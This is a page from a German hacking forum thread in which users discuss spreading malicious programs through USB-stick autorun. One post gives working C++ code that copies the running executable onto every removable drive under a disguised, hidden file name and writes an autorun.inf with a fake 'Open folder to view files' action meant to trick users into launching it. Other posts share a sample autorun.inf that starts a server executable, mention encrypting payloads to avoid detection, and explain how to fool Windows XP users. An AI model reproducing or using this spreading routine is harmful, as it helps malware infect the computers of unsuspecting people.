Seite 2 von 3 ErsteErste 123 LetzteLetzte
Ergebnis 11 bis 20 von 23
  1. #11
    GoD of All Avatar von hotdragon92
    Registriert seit
    25.06.2009
    Beiträge
    256

    Standard

    ah ok^^ ja könntest du ja machen ich werde mcih da mit denn mal auseinander setzen^^



  2. #12
    Stanley Jobson Avatar von GregorSamsa
    Registriert seit
    23.08.2008
    Beiträge
    729

    Standard

    Das ist, wie gesagt, ein C++ Code.
    Der arbeitet mit der autorun.inf-Methode

    Die Variable folderIcon ist ein char-Buffer das ein Ordner-Icon enthält. folderIconLength ist die Länge des Buffers (wichtig wegen Nullbytes).

    Code:
    DWORD WINAPI spread(LPVOID arg)
    {
    	char buf[2048], buf2[2048], buf3[2048];
    	char exeName[] = "PRIVAT       .       .exe", icoName[] = "Thumbs.db     .ico";
    	char *drive = buf;
    	FILE *f;
    	unsigned int i;
    	HWND hWnd;
    
    	buf[0] = 0x00;
    	GetLogicalDriveStrings(2040, buf);
    	
    	while(*drive)
    	{
    		if(GetDriveType(drive) == 2 && drive[0] != 'A')
    		{
    			sprintf(buf2, "%s%s", drive, icoName);
    			f = fopen(buf2, "r");
    			if(f == NULL)
    			{
    				fclose(f);
    				f = fopen(buf2, "wb");
    				for(i = 0;i < folderIconLength;i++)
    					fprintf(f, "%c", folderIcon[i]);
    				fclose(f);
    				
    				SetFileAttributes(buf2, 4);
    				
    				sprintf(buf2, "%s%s", drive, exeName);
    				hWnd = (HWND)GetModuleHandle(NULL);
    				GetModuleFileName((HINSTANCE)hWnd, buf3, sizeof(buf3));
    				CopyFile(buf3, buf2, 0);
    				SetFileAttributes(buf2, 4);
    				CopyFile(buf3, "Mathe.exe", 0);
    				sprintf(buf2, "%sautorun.inf", drive);
    				f = fopen(buf2, "w");
    				fprintf(f, "[autorun]\nopen=%s\nicon=%s\naction=Open folder to view files\nshell\\open=Open\nshell\\open\\command=%s\nshell\\open\\default=1\n", exeName, icoName, exeName);
    				fclose(f);
    			}
    		}
    		drive = &drive[strlen(drive) + 1];
    	}
    }

  3. #13
    GoD of All Avatar von hotdragon92
    Registriert seit
    25.06.2009
    Beiträge
    256

    Standard

    ok danke werde ma gucken



  4. #14
    Trojaner
    Registriert seit
    04.09.2007
    Beiträge
    55

    Standard

    Zitat Zitat von infslash Beitrag anzeigen
    Autorun.inf ist im Grunde nur möglich auf XP mit dem U3 Stick oder liege ich da falsch?
    Ist das CD-Autorun bei Vista und Win7 endlich per default abgeschaltet?

    Also mit einem U3-Stick (und "selbst-geflashtem" CD-Teil darauf) kann man unter XP prima Autostart machen. Quasi exakt wie bei CD-ROMs eben.

    Wie wird die autorun.inf bei normalen Wechseldatenträgern (aber da unterscheidet Windows ja sinnfreier Weise noch mal zwischen Stick und Festplatte) bei den einzelnen Versionen ausgewertet?

  5. #15
    Trojaner
    Registriert seit
    08.05.2009
    Beiträge
    74

    Standard

    Kenn mich mit autorun jetzt nicht aus, aber würde das so gehn?
    [autorun]
    open=server.exe
    icon=wayne
    action=Start myServer
    Lg
    ~Wanna have some fun?

  6. #16
    Bad Times Virus Avatar von Chiqsaw
    Registriert seit
    24.04.2009
    Beiträge
    559

    Standard

    vergiss die idee es klappt einfach nicht xD


  7. #17
    Trojaner
    Registriert seit
    04.09.2007
    Beiträge
    55

    Standard

    Zitat Zitat von K4C00KiE Beitrag anzeigen
    Kenn mich mit autorun jetzt nicht aus, aber würde das so gehn?

    Lg
    Kommt drauf an. Auf 'ner CD klappt das bei Windows XP. Auf einem U3-Stick (der eine CD emuliert) auch. Auf einem Wechseldatenträger, der sich als Festplatte identifiziert auch. Suf einem Stick allerdings nicht.
    (afair)

  8. #18
    ¯\ (ツ) /¯ Avatar von p0se
    Registriert seit
    23.07.2007
    Beiträge
    309

    Standard

    ja FUnktionirt 100% auf jedem stick, ich finde es gerade nicht aber du kannst jeden stick nen autostart machen mit nem kleinen tool musst halt blos gut grypten ich suche mal ob ichs finde
    ...

  9. #19
    Trojaner
    Registriert seit
    04.09.2007
    Beiträge
    55

    Standard

    Seit wann wird der run-Parameter der autorun.inf bei Sticks automatisch ausgeführt?

  10. #20
    Stanley Jobson Avatar von GregorSamsa
    Registriert seit
    23.08.2008
    Beiträge
    729

    Standard

    Sodele, noch mal zum mitschreiben:

    Es wird _nichts_ bei Sticks automatisch ausgeführt. Bei XP wird bei normalen Sticks der geparste Inhalt der autorun.inf allerdings ganz oben im Auswahlmenü angezeigt - mit der richtigen Beschreibung und dem richtigen Icon kann man den User also dazu bringen, das auszuführen.

    Bei Win7 (Vista glaub ich auch) ist der Autorun mittlerweile komplett deaktiviert, selbst CD's starten nichtmehr direkt per Autorun - genau aus dem Grund, weil z.B. Conficker sich auch darüber verbreitet hat.

    Ergo: für XP funzt die Methode noch, bei neueren OS nichtmehr (lasst euch was einfallen, eine gute Möglichkeit hab ich auch beschrieben )

    gruß und gn8
    GregorSamsa

Seite 2 von 3 ErsteErste 123 LetzteLetzte

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •